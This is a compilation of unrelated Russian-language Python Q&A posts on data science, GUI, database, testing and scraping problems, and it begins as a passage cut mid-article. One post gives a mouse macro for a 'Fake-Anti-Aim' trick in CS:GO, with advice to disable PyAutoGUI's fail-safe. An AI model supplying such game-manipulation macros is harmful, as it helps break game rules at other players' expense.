Еще одна важная деталь, которую нужно иметь в виду, это порядок написания сопоставлений. То, какие сопоставления вы проверите в первую очередь, повлияет на эффективность и точность вашего сопоставления в целом. Размещайте наиболее конкретные сопоставления на первом месте, а наиболее общие — на последнем.
В конечном счете, если у вас есть проблема, которую можно решить с помощью
if/elif/else или поиска по словарю, то используйте их вместо
match/case. Pattern matching является мощным, но не универсальным решением. Используйте его, когда это наиболее целесообразно.
Подробнее с документацией по pattern matching в Python (PEP 622) можно ознакомиться тут.
Оригинал статьи.


Кодирование признаков
Необходимо реализовать Kfold схему с пятью фолдами.
Разбить данные на 5 фолдов и проитерироваться по ним: по 4 обучающих фолда для подсчета средних значений таргета по item_id и этими значениями необходимо заполнить валидационный фолд на каждой итерации.

df = pd.DataFrame({'item_id': [19, 27, 28, 29, 32],
                   'target': [0.0, 0.0, 6.0, 3.0, 1.0],
                  'item_target_enc': [0.0222, 0.056834, 0.141176, 0.037383, 1.319042]})

# You will need to compute correlation like that
corr = np.corrcoef(all_data['target'].values, encoded_feature)[0][1]
print(corr)

Ожидаемы ответ: 0.4165
Как это можно реализовать с помощью функции map?
Спасибо!

Пример из документации:
<code>
>>> import numpy as np
>>> from sklearn.model_selection import KFold
>>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
>>> y = np.array([1, 2, 3, 4])
>>> kf = KFold(n_splits=2)
>>> kf.get_n_splits(X)
2
>>> print(kf)
KFold(n_splits=2, random_state=None, shuffle=False)
>>> for train_index, test_index in kf.split(X):
...     print("TRAIN:", train_index, "TEST:", test_index)
...     X_train, X_test = X[train_index], X[test_index]
...     y_train, y_test = y[train_index], y[test_index]
TRAIN: [2 3] TEST: [0 1]
TRAIN: [0 1] TEST: [2 3]
</code>


Ошибка возникает, если строка заканчивается не на букву (а на точку или пробел итд). От длины строки не зависит.


Ошибка при расширении класса QLabel PyQt5
Для расширения свойств класса QLabel из PyQt5 - для форматирования текстового поля, написал код Python 3.9:

from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import (QWidget, QApplication, QLabel)

class Window(QWidget):

    def __init__(self):
        super().__init__()
        self.position_width = 100
        self.position_height = 100
        self.init_gui()

    class TextBox(QLabel):

        def __init__(self, *args, **kwargs):
            super(QLabel).__init__(*args, **kwargs)
            self.setWordWrap(True)
            self.setFont(QFont('Arial', 11))
            self.move(self.left_border, self.top_border_computer)
            self.resize(500, 100)

    def init_gui(self):

        # Game rules
        rules = "Text"

        self.textbox = self.TextBox(rules, self)

        # Window Geometry
        self.setGeometry(500, 300, 600, 300)
        self.setWindowTitle('Name Game')
        self.show()

app = QApplication([])
window = Window()
app.exec_()

Ошибка:

Traceback (most recent call last):
  File "C:\....\src\main.py", line 13, in <module>
    window = Window()
  File "C:\....\src\gui.py", line 38, in __init__
    self.init_gui()
  File "C:\....\src\gui.py", line 81, in init_gui
    self.textbox = self.TextBox(rules, self)
  File "C:\....\gui.py", line 56, in __init__
    super(QLabel).__init__(*args, **kwargs)
**TypeError: super() argument 1 must be type, not str**

Действия:

Достаточно просто
super().__init__(*args, **kwargs)
Добавил импорт
QFont
Закомментировал
self.move(self.left_border, self.top_border_computer), т.к. поля
self.left_border и
self.top_border_computer не были приведены в вопросе

Пример:

from PyQt5.QtWidgets import QWidget, QApplication, QLabel
from PyQt5.QtGui import QFont

class Window(QWidget):
    def __init__(self):
        super().__init__()
        self.position_width = 100
        self.position_height = 100
        self.init_gui()

    class TextBox(QLabel):
        def __init__(self, *args, **kwargs):
            super().__init__(*args, **kwargs)
            self.setWordWrap(True)
            self.setFont(QFont('Arial', 11))
            # self.move(self.left_border, self.top_border_computer)
            self.resize(500, 100)

    def init_gui(self):
        # Game rules
        rules = "Text"

        self.textbox = self.TextBox(rules, self)

        # Window Geometry
        self.setGeometry(500, 300, 600, 300)
        self.setWindowTitle('Name Game')
        self.show()

app = QApplication([])
window = Window()
app.exec_()


Запись данных в PostgreSQL
Я записываю csv строки в базу данных PostgreSQL. В случае если данные отсутствуют, то обрабатывается исключение. Проблема заключается в том, что если обрабатывается блок except, то последующие данные не записываются, и выводится код с try и except. Подскажите пожалуйста.

try:
    lines = [line.split(',') for line in lines]
    print(lines)
    query = ",".join(("%s" for _ in range(len(lines[0]))))
    query = f'INSERT INTO get_finance ("TICKER", "PER", "DATE", "TIME", "OPEN", "HIGH", "LOW", "CLOSE", "VOL") VALUES({query}) '
    cursor = connection.cursor()
    cursor.executemany(query, lines)
    connection.commit()
    time.sleep(1)
except:
    print(code + " данные отсутствуют")
    time.sleep(1)

Данные есть и записываются:

[['MSNG', '5', '11/10/21', '10:00:00', '2.3100000', '2.3200000', '2.3030000', '2.3120000', '773000']..

[['AGRO', '5', '11/10/21', '10:00:00', '1236.4000000', '1237.6000000', '1224.4000000', '1232.6000000', '16347']..

Данные отсутствуют(работает блок except):

ALNU данные отсутствуют

После исключения, данные не записываются и выводится код из try и except:

[['AMD-RM', '5', '11/10/21', '10:00:00', '7478.0000000', '7478.0000000', '7478.0000000', '7478.0000000', '2']

AMD-RM данные отсутствуют

Проблема была решена путем переноса
connection.commit() за пределы блоков
try / except:

try:
    lines = [line.split(',') for line in lines]
    query = ",".join(("%s" for _ in range(len(lines[0]))))
    query = f'INSERT INTO get_finance ("TICKER", "PER", "DATE", "TIME", "OPEN", "HIGH", "LOW", "CLOSE", "VOL") VALUES({query}) '
    cursor = connection.cursor()
    cursor.executemany(query, lines)
    print(lines)
    time.sleep(1)
except:
    print(code+" данные отсутствуют")
    time.sleep(1)
connection.commit()


Как ускорить работу кода?
Ниже на пяти языках записан алгоритм. Получив на вход число x, этот алгоритм печатает два числа: a и b. Укажите наименьшее из таких чисел x, при вводе которых алгоритм печатает сначала 2, а потом 3. Допускается диапазон значений для величин целого типа: от −2^31 до 2^31 — 1.
чтобы решить задачу изменил код и сделал перебор каждого значения, но их слишком большой диапазон
как ускорить?
<code>
for x in range(-2**31,2**31-1):
    i=x
    a = 0
    b = 0
    while x > 0:
        с = x % 2
        if c == 0:
            a += 1
        else:
            b += 1
        x //=  10
    if a == 2 and b==3:
        print(i)
</code>

while x > 0:

Сюда управление попадёт только при положительном
x и только тогда изменятся
a и
b. Зачем тогда перебирать отрицательные значения
x, если от этого ничего не зависит? Диапазон перебора можно начать хотя бы с
0:

for x in range(2**31-1):

Далее у вас в этой строке буква
с - русская, поэтому в следующей строке будет ошибка - там буква
c - английская и интерпретатор считает, что этой переменной ничего не присвоено, это ведь разные переменные:

        с = x % 2
        if c == 0:

Исправьте обе переменные
c на одинаковые и лучше если английские.
После этого ваш код моментально начинает находить подходящие значения.
Да, и чтобы прекратить перебор после первого найденного числа добавьте
break:

    if a == 2 and b==3:
        print(i)
        break


Словарь со вложенным списком
имеется словарь с такими значениями

date = {'Apples': [88, 11],'Bananas': [35, 11],'Grapes': [28, 4]}
В пустую строку
str_date надо записать такой вывод словаря

s_date = "Apples 88 11\n Bananas 35 11\n Grapes 28 4
Пробовал использовать
join() и
format(), но к сожалению не получилось

s_date = "\n".join(format(k, str(date[k][0]) + " " + str(date[k][1]))for k in date)

Вот такой вариант правильно обработает любое количество элементов в списке:

s_date = "\n".join(" ".join([k]+list(map(str, date[k]))) for k in date)

или

s_date = "\n".join(f"{k} {' '.join(map(str, date[k]))}" for k in date)


Как методом интерполяции можно заполнить недостающие значения в колонке?
Как методом интерполяции можно заполнить недостающие значения в колонке
"Production rate", какие есть варианты?

df = pd.DataFrame({'Date': ['2010-01-10', '2010-01-09', '2010-01-08',
                            '2010-01-07', '2010-01-06', '2010-01-05',
                            '2010-01-04', '2010-01-03', '2010-01-02',
                            '2010-01-01'],
        'Production rate':
         [58.6, "nan", 60.1, 39.7, "nan", "nan", 57.7, 58.2, 58.6, "nan"]})


Обьединить две строки в датафрейме в одну
Есть вот такой датафрейм

    Номертижня      Деньтижня     Пара      1 група
    Перший тиждень    Понеділок     1       Лб1 Практичний курс"Бізнес-симуляція"
                                              вул.Чигоріна,57-а .
                                2       Лб1 Практичний курс"Бізнес-симуляція"
                                              вул.Чигоріна,57-а .
                                3
...

Возможно ли преобразовать его в следующий вид:

    Номертижня      Деньтижня     Пара      1 група
    Перший тиждень    Понеділок     1       Лб1 Практичний курс"Бізнес-симуляція" вул.Чигоріна,57-а.
                                2       Лб1 Практичний курс"Бізнес-симуляція" вул.Чигоріна,57-а.
                                3
...

Если вся структура датафрейма такая, как на приведённом фрагменте, то можно просто объединить нужную колонку, использовав сдвиг, а затем выкинуть лишние строки, примерно так:

import pandas as pd

df = pd.DataFrame({'x': [1, '', 2, '', 3, ''], 'y': list('abcdef')})
df['y'] = df['y'] + ' ' + df.shift(-1)['y']
df = df.loc[df['x'] != '']
df

Исходный датафрейм:

    x   y
0   1   a
1       b
2   2   c
3       d
4   3   e
5       f

На выходе:

    x     y
0   1   a b
2   2   c d
4   3   e f


Как аттачить скриншот на КАЖДОМ шагу теста (python, pytest, allure)
Всем доброго времени суток
Наш тестовый фреймворк содержит классы страниц с методами, задекорированными с помощью allure.step:

@step('I login to application by user {user_name}')
def login(self, user_name: str) -> None:
    ....

Когда встал вопрос с возможностью получения в репорте скриншотов на каждый шаг, мы поняли что, конечно, можем делать скриншот в конце каждого метода-шага, что не является красивым решением.
Тогда мы решили попробовать заменить
allure.step собственным декоратором на его основе.

def step(step_title):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            # with allure.step(step_title):
            _self = args[0]
            allure.step(step_title)(func(*args, **kwargs))
            if get_config().reporting.screen_each_step:
                allure.attach(_self.driver.get_screenshot_as_png(), "step screenshot", allure.attachment_type.PNG)
        return wrapper
    return decorator

Но при использовании
allure.step()() скриншоты аттачатся не в тело шагов, а в тело самих кейсов.
При использовании
with allure.step() скриншоты аттачатся в тело степа, как и задумывалось. Но есть ряд других проблем: подстановка аргументов метода в title шага не работает автоматически, его придется форматировать самому и в итоговом отчете в шаге не аттачатся аргументы метода, как это происходило автоматически с
@allure.step
Во время изучения кода репозитория allure-pytest мы наткнулись на хуки:

class AllureUserHooks(object):
    ..........

    @hookspec
    def start_step(self, uuid, title, params):
        """ step """

    @hookspec
    def stop_step(self, uuid, exc_type, exc_val, exc_tb):
        """ step """

У нас возник вопрос, есть ли способ создания обертки на основе этого хука внутри allure_commons? Что-то врорде:

@allure_commons.hookimpl(hookwrapper=True)
def stop_step():
    take_screen()
    yield

Мы пытались запустить код выше, но, очевидно, он не работает как мы предполагали.
Я буду благодарен за любой совет или помощь.
P.S.
Такие вопросы наверняка были, но проведя поиск, я не нашел идентичного связанного с python (нашел только относительно Java), к тому же мы частично приблизились к решению.

Для всех кто будет интересоваться, как выполнить задачу, я оставлю тут три решения, к которым пришел я.
Они представляют собой 3 (но в сущности 2) разных подхода, которые позволяют выполнить скриншоты на каждый шаг. А в случае с решением №3 - любые действия на каждый шаг.
Решение №1: отдельный декоратор
Самым первым решением, которое позволило выполнить задачу со скриншотами, был следующий декоратор:

import allure
import wrapt

@wrapt.decorator(enabled=config.screen_each_step)
def attach_screenshot_if_configured(wrapped, instance, args, kwargs):
    method_result = wrapped(*args, **kwargs)
    _self = args[0]
    allure.attach(_self.driver.get_screenshot_as_png(), "step screenshot", allure.attachment_type.PNG)
    return method_result

И соответственно методы allure шагов с ним выглядели следующим образом:

@allure.step('I login to application by user {user_name}')
@attach_screenshot_if_configured
def login(self, user_name: str) -> None:
    ...

Его суть в том что как объект он содержит аргументы декорируемой функции, которые принимает
@allure.step и шаг корректно формировался со всеми параметрами. Этого получилось добиться с помощью
@wrapt.
Очевидные минусы - внутри декоратора необходим доступ к драйверу, что мы сделали через args[0], т.к. в нашем случае всем шаги - методы классов страниц (по паттерну PageObject), каждая из которых содержит ссылку на драйвер (self.driver).
Решение №2: замена декоратора @allure.step
За это решение хочу поблагодарить @dmgant из чата Gitter allure-framework/allure-core который очень сильно помог подсказав основное направление.

import sys

from allure_commons.utils import func_parameters, represent
from allure_commons._allure import StepContext

def allure_step(step_title: str) -> Callable:
    def decorator(func):
        @functools.wraps(func)
        def wrapper(*args, **kwargs):
            f_args = list(map(lambda x: represent(x), args))
            f_params = func_parameters(func, *args, **kwargs)

            title = step_title.format(*f_args, **f_params)
            step_obj = StepContext(title, f_params)
            # Enter context manager manually.
            step_obj.__enter__()
            try:
                # Execute original function.
                # conftest.before_allure_step()  # any action you want before step
                val = func(*args, **kwargs)
                # conftest.after_allure_step()   # any action you want after step
            finally:
                # Exit context manager manually.
                step_obj.__exit__(*sys.exc_info())
            return val
        return wrapper
    return decorator

Методы шагов выглядели следующим образом:

@allure_step('I login to application by user {user_name}')
def login(self, user_name: str) -> None:
    ...

Идея этого решения состоит в мануальном определении объекта шага и контроля точек входа\выхода в ручную. Аргументы декорируемой функции собираются и подставляются тем же способом, как это происходит в коде библиотеки
allure.
Также в этом решении мы вынесли все действия до шага и после шага в условные "хуки" которые в моем случае лежат в файле
conftest (в моем примере эти строки закомментированы и подписаны).
Минус у данного решения для нас был только один, этот декоратор, очевидно, невозможно использовать как context manager, что нам было нужно в том числе.
Однако все остальные поставленные задачи решение выполняет отлично.
Решение №3: создание кастомного объекта выступающего в роли contextmanager и декоратора.
Это решение стало финальным:

from allure_commons.utils import func_parameters, represent
from allure_commons._allure import StepContext
from functools import wraps

def allure_step(title):
    if callable(title):
        return CustomStepContext(title.__name__, {})(title)
    else:
        return CustomStepContext(title, {})

class CustomStepContext(StepContext):

    def __enter__(self):
        super().__enter__()
        # conftest.before_allure_step()  # any action you want before "with allure_step"

    def __exit__(self, exc_type, exc_val, exc_tb):
        # conftest.after_allure_step()   # any action you want after  "with allure_step
        super().__exit__(exc_type, exc_val, exc_tb)

    def __call__(self, func):
        @wraps(func)
        def impl(*args, **kwargs):
            f_args = list(map(lambda x: represent(x), args))
            f_params = func_parameters(func, *args, **kwargs)
            with StepContext(self.title.format(*f_args, **f_params), f_params):
                # conftest.before_allure_step()  # any action you want before step
                step_result =  func(*args, **kwargs)
                # conftest.after_allure_step()   # any action you want after step
                return step_result
        return impl

Методы шагов выглядели так же, как и в решении 2.
Идея решения такдже подсмотрена в коде библиотеки
allure, а сам объект унаследован от аналогичного внутри библиотеки.
Разница только в том что это позволяет а) использовать эту замену и как context manager и как декоратор; б) это решение позволяет осуществлять любые действия перед шагом и после шага, которые в отчете будут частью этого шага.
P.S. Если в ответе не хватает каких-либо деталей, прошу указать на это, они обязательно будут добавлены.


Нужно найти элемент в классе. Selenium

<div class="col-xs-5 player-sidebar-value">261204</div>

Как я могу получить 261204?
Пробовал так

element = driver.find_element_by_xpath('/html/body/div[3]/div[3]/div[1]/div[2]/ul/li/div[2]/div[2]/div/div/div[10]/div[2]')
print(element)

Вывод:

<selenium.webdriver.remote.webelement.WebElement (session="6cb491f061aa7c1b6ae25df70ca65590", element="215546c2-3316-415d-a37a-bc8bc6090efb")>

У
selenium.webdriver.remote.webelement.WebElement есть свойство
text им и нужно получать значение
Не советую пользоваться полными путями вида:

/html/body/div[3]/div[3]/div[1]/div[2]/ul/li/div[2]/div[2]/div/div/div[10]/div[2]

Причины:

Они страшные
Они сильно зависят от верстки, т.к. описывается полный путь
xpath менее читаемый, чем css-селекторы

Поэтому показываю решение через css-селектор:

element = driver.find_element_by_css_selector('.player-sidebar-value')
print(element.text)

Тут будет поиск первого элемента, имеющего класс
player-sidebar-value. Если таких элементов несколько понадобится добавить конкретики (по тегу, по родительским или дочерним элементам), но тут нужно смотреть "на месте"


Как определить оптимальный горизонт прогноза временных рядов?
Подскажите пожалуйста как определить оптимальный горизонта прогноза временных рядов.
Понимаю, что все зависит от поставленной задачи и данных, но возможно есть какой-то метод расчета оптимального будущего периода или среднестатистический период.

Я бы сказал, нет такого.
Начать нужно с того, что вы называете оптимальным горизонтом. На расстоянии менее горизонта расхождение с предсказанием должно быть не более 10%? или 20%? Или ещё как?
Как только вы определите критерий "оптимальности", так сразу можете ввести горизонт как гиперпараметр и оптимизировать его на обучающей выборке. Это будет оптимальным горизонтом для вашей конкретной задачи и вашего конкретного критерия оптимальности.


Создать регулярное выражение
string = "1, 2, 3, 4, 34"
необходимо, чтобы регулярное выражение искало цифры от 1 до 7, указанные через запятую. В данном случае stdout должен быть такой ["1", "2", "3", "4"]
я пытался искать вот так, но не знаю как учесть запятую:
<code>
s = re.findall('[1-7]{1}', string)
</code>


Как можно запустить скрипт по нажатию кнопки? [закрыт]

Закрыт. Этот вопрос необходимо уточнить или дополнить подробностями. Ответы на него в данный момент не принимаются.

Хотите улучшить этот вопрос? Добавьте больше подробностей и уточните проблему, отредактировав это сообщение.

Закрыт 2 года назад.

                        Улучшить вопрос

Есть скрипт пайтон, и нужна чтобы после запуска py фаила, скрипт запускался и ставился на паузу и останавливался при нажатии клавиши клавиатуры ?

import keyboard

def main():
    while True:
        if keyboard.is_pressed('r'):
            break
        print("Hello Codex!")

main()


как разделить выборку на 3 проверочных датасета?
У меня есть папка для проверки нейронной сети, я хочу ее разбить на три выборки для сети, чтобы проверить, как часто нейронная сеть ошибается на каждом классе.
Как я загружал данные в обучающую модель:

from tensorflow.python.keras.preprocessing.image import ImageDataGenerator
datagen = ImageDataGenerator(rescale=1./255, rotation_range=15, width_shift_range=0.1, height_shift_range=0.1, zoom_range=0.1, horizontal_flip=True, fill_mode='nearest', validation_split=0.1)
train_generator = datagen.flow_from_directory(train_path, target_size=(img_height, img_width), batch_size=batch_size, class_mode='categorical', shuffle=True, subset='training')
validation_generator = datagen.flow_from_directory(train_path, target_size=(img_height, img_width), batch_size=batch_size, class_mode='categorical', shuffle=True, subset='validation')

Как я проверял модель:

path = '/content/drive/MyDrive/БД/распознавание 3 марок машин/данные/Автомобили/val/'
validation = datagen.flow_from_directory(train_path, target_size=(img_height, img_width), batch_size=batch_size, class_mode='categorical', shuffle=True, subset='validation')
answers = model.evaluate(validation, batch_size=batch_size)

Но как мне проверить модель на каждом классе отдельно?

Если я вас правильно понял, и "класс" -  это выход, т.е. результат работы вашей нейромодели то просто проверяете работу построенной модели и считаете не только "угадала" ли она или нет, но и делаете это отдельно по каждому "классу", сравнивая полученную метку с имеющейся.  И, кстати, вы надеюсь, знаете, что учить модель на данных только одного класса -  нельзя.
А вот зачем вы делите данные на три датасета -  непонятно. Обычно работают с двумя - учебной и тестовой выборками. Третья может появиться разве что если вы делаете кросс-валидацию.


не работает Fake-Anti-Aim
Написал вот такой код:
<code>
import pyautogui
from pynput import mouse
from time import sleep
import keyboard

def ex():
    exit()

keyboard.add_hotkey('home', ex)

while True:
    def on_click(x, y, button, pressed):
        if button == mouse.Button.left:
            #print('{} at {}'.format('Pressed Left Click' if pressed else 'Released Left Click', (x, y)))
            pyautogui.move(350,350, 0)
            sleep(0.1)
            pyautogui.move(-350,-350, 0)
            return False

    listener = mouse.Listener(on_click=on_click)
    listener.start()
    listener.join()
</code>
по идеи после выстрела камера в игре должна резко смещаться на 350, 350 пикселей и через 0.1 секунд возвращаться обратно, но в игре ничего подобного не происходит, PS: игра CS:GO

Установите паузу в 0 сек после каждого вызова
PyAutoGUI:

import pyautogui
pyautogui.PAUSE = 0

И отключите Fail-Safe:

pyautogui.FAILSAFE = False

Не забудьте отключить прямой ввод мыши в игре.


discord py Client.guilds возвращает пустой список
Почему вообще такое может быть. Бот на 3 моих серверах
<code>
bot = commands.Bot(command_prefix = settings['prefix'])
Client = discord.Client()
@bot.command()
async def сервера(ctx):
    servers = Client.guilds
    print(servers)
</code>

bot = commands.Bot(command_prefix = settings['prefix'])
@bot.command()
async def сервера(ctx):
    servers = bot.guilds
    print(servers)


RE на 7 тесте. ООП
Такое условие:
Вас попросили написать 2 класса, CustomList и CustomDict, оба эти класса имеют атрибут data, в котором хранится ссылка на список или словарь соответственно. В конструкторе класса передается список или словарь, также атрибут data можно изменять в процессе работы с классами, то есть:

my_list = CustomList([1, 2, 3])
my_list.data = [1, 2]

Оба эти класса имеют одни и те же свойства:

size - размер списка или словаря,
max_value - максимальный элемент списка или максимальный ключ словаря
min_value - минимальный элемент списка или минимальный ключ словаря

Также печать экземпляров обоих классов должна возвращать строку в формате:

My CustomList data [1, 2, 3]
My CustomDict data {1:1, 2:2, 3:3}

Общие свойства и методы этих двух классов должны реализованы в классе CommonProperties, от которого
будут наследоваться классы CustomList и CustomDict.
max_value и min_value для словаря нужно считать не только по ключам, но и по значениям. В случае, если вы пытаетесь сравнить несравнимые объекты, нужно попытаться посчитать max_value и min_value только по ключам, если и это невалидно, нужно выкинуть исключение TypeError. Для этого функционала
реализуйте класс DictProperties, от которого будет наследоваться класс CustomDict.
Если же вы пытаетесь сравнить несравнимые для списка объекты (например, строки и числа), нужно выкинуть исключение TypeError.

import sys

class CommonProperties():

    def __init__(self, nums):
        self.nums = nums

    @property
    def size(self):
        return str(len(self.nums))

    @property
    def min_value(self):
        if isinstance(self, CustomList):
            return min(self.nums)
        else:
            return DictProperties.find_min(self)

    @property
    def max_value(self):
        if isinstance(self, CustomList):
            return max(self.nums)
        else:
            return DictProperties.find_max(self)

class CustomList (CommonProperties):
    def __str__(self):
        return 'My CustomList data ' + str(self.nums)

    @property
    def data(self):
        return str(self.nums)

    @data.setter
    def data(self, nums):
        self.nums = nums

class DictProperties(CommonProperties):
    def find_max(self):
        skey, svalue = set(), set()
        lkey, lvalue = [], []
        for k, v in self.nums.items():
            skey.add(type(k))
            svalue.add(type(k))
            lkey.append(k)
            lvalue.append(v)
        if len(skey) == 1 and len(svalue) == 1:
            return max(max(lkey, lvalue))
        elif len(skey) == 1:
            return max(lkey)
        elif len(svalue) == 1:
            return max(lvalue)
        else:
            raise TypeError

    def find_min(self):
        skey, svalue = set(), set()
        lkey, lvalue = [], []
        for k, v in self.nums.items():
            skey.add(type(k))
            svalue.add(type(k))
            lkey.append(k)
            lvalue.append(v)
        if len(skey) == 1 and len(svalue) == 1:
            return min(min(lkey, lvalue))
        elif len(skey) == 1:
            return min(lkey)
        elif len(svalue) == 1:
            return min(lvalue)
        else:
            raise TypeError

class CustomDict(DictProperties):
    def __str__(self):
        return 'My CustomDict data ' + str(self.nums)

    @property
    def data(self):
        return str(self.nums)

    @data.setter
    def data(self, nums):
        self.nums = nums
exec(sys.stdin.read())

Еще в этом коде явно вызываю метод класса DictProperties  таким образом
DictProperties.find_max(self).  Хотя должно быть так просто
find_max(). Понимаю, что нужно наследовать какой то класс. пробовал, не получается)) Может Вы поможете?

У меня получилось, что ни в классе
CustomDict, ни в
CustomList даже имплементировать нечего. :)
Смотрите:

data хранится в базовом классе
CommonProperties, т.к. она есть и у
CustomList и у
CustomDict.

find_min/
find_max тоже можно реализовать в базовом классе. Для списка их переопределять не надо, они и так работать будут. Для словаря они будут работать наполовину (искать только по ключам), так что там придётся переопределять.

__repr__ (формат вывода на печать) тоже можно переопределить в базовом классе, т.к. имя класса можно достать из self.
Для
CustomDict переопределяем
find_min/
find_max. Для поиска по ключам используется аналогичная функция предка (базового класса), хотя можно и напрямую min/max вызвать (но через вызов метода предка интереснее же ;). Ну и аккуратно обрабатываем exceptions (даже самому их генерировать нет надобности, функции min/max и так их генерят).

class CommonProperties():
    def __init__(self, data):
        self.data = data

    def __repr__(self):
        return f'My {self.__class__.__name__} data {self.data}'

    @property
    def size(self):
        return len(self.data)

    def find_min(self):
        return min(self.data)

    @property
    def min_value(self):
        return self.find_min()

    def find_max(self):
        return max(self.data)

    @property
    def max_value(self):
        return self.find_max()

class CustomList (CommonProperties):
    pass

class DictProperties(CommonProperties):
    def find_max(self):
        max_key = super().find_max()
        try:
            max_value = max(self.data.values())
            return max(max_key, max_value)
        except TypeError:
            return max_key

    def find_min(self):
        min_key = super().find_min()
        try:
            min_value = min(self.data.values())
            return min(min_key, min_value)
        except TypeError:
            return min_key

class CustomDict(DictProperties):
    pass

l = CustomList([1,3,6,99,-18.5,-3])
print(l, f"size={l.size}  min={l.min_value}  max={l.max_value}")
# l.data = [7, 15, "a", True]   # для того чтобы вызвать TypeError exception
# print(l, f"size={l.size}  min={l.min_value}  max={l.max_value}")

d = CustomDict({-3:33, 15:321})
print(d, f"size={d.size}  min={d.min_value}  max={d.max_value}")
d.data = {"a":2, "b":1}
print(d, f"size={d.size}  min={d.min_value}  max={d.max_value}")
d.data = {"a":2, 7:"z"}   # для того чтобы вызвать TypeError exception
print(d, f"size={d.size}  min={d.min_value}  max={d.max_value}")

My CustomList data [1, 3, 6, 99, -18.5, -3] size=6  min=-18.5  max=99
My CustomDict data {-3: 33, 15: 321} size=2  min=-3  max=321
My CustomDict data {'a': 2, 'b': 1} size=2  min=a  max=b
Traceback (most recent call last):
   ...
TypeError: '<' not supported between instances of 'int' and 'str'